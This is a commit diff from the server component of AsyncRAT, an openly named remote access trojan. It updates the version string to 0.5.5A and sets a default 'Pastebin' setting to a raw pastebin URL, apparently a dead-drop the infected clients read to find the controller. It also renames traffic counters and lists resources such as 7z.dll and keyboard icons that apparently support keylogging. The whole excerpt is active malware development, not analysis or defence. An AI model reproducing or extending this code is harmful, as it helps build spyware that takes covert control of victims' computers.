<value>..\Resources\7z.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value> <value>..\Resources\7z.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</data> </data>
<data name="keyboard" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\keyboard.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="keyboard-on" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\keyboard-on.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
</root> </root>

View File

@ -12,7 +12,7 @@ namespace Server.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.2.0.0")] [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.3.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
@ -73,7 +73,7 @@ namespace Server.Properties {
[global::System.Configuration.UserScopedSettingAttribute()] [global::System.Configuration.UserScopedSettingAttribute()]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Configuration.DefaultSettingValueAttribute("")] [global::System.Configuration.DefaultSettingValueAttribute("https://pastebin.com/raw/s14cUU5G")]
public string Pastebin { public string Pastebin {
get { get {
return ((string)(this["Pastebin"])); return ((string)(this["Pastebin"]));

View File

@ -15,7 +15,7 @@
<Value Profile="(Default)" /> <Value Profile="(Default)" />
</Setting> </Setting>
<Setting Name="Pastebin" Type="System.String" Scope="User"> <Setting Name="Pastebin" Type="System.String" Scope="User">
<Value Profile="(Default)" /> <Value Profile="(Default)">https://pastebin.com/raw/s14cUU5G</Value>
</Setting> </Setting>
<Setting Name="IP" Type="System.String" Scope="User"> <Setting Name="IP" Type="System.String" Scope="User">
<Value Profile="(Default)" /> <Value Profile="(Default)" />

View File

@ -12,12 +12,14 @@ namespace Server
public static List<string> Blocked = new List<string>(); public static List<string> Blocked = new List<string>();
public static object LockBlocked = new object(); public static object LockBlocked = new object();
public static long Sent { get; set; } public static long SentValue { get; set; }
public static long Received { get; set; } public static long ReceivedValue { get; set; }
public static object LockReceivedSendValue = new object();
public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12"; public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
public static X509Certificate2 ServerCertificate; public static X509Certificate2 ServerCertificate;
public static readonly string Version = "AsyncRAT 0.5.4H"; public static readonly string Version = "AsyncRAT 0.5.5A";
public static object LockListviewClients = new object(); public static object LockListviewClients = new object();
public static object LockListviewLogs = new object(); public static object LockListviewLogs = new object();
public static object LockListviewThumb = new object(); public static object LockListviewThumb = new object();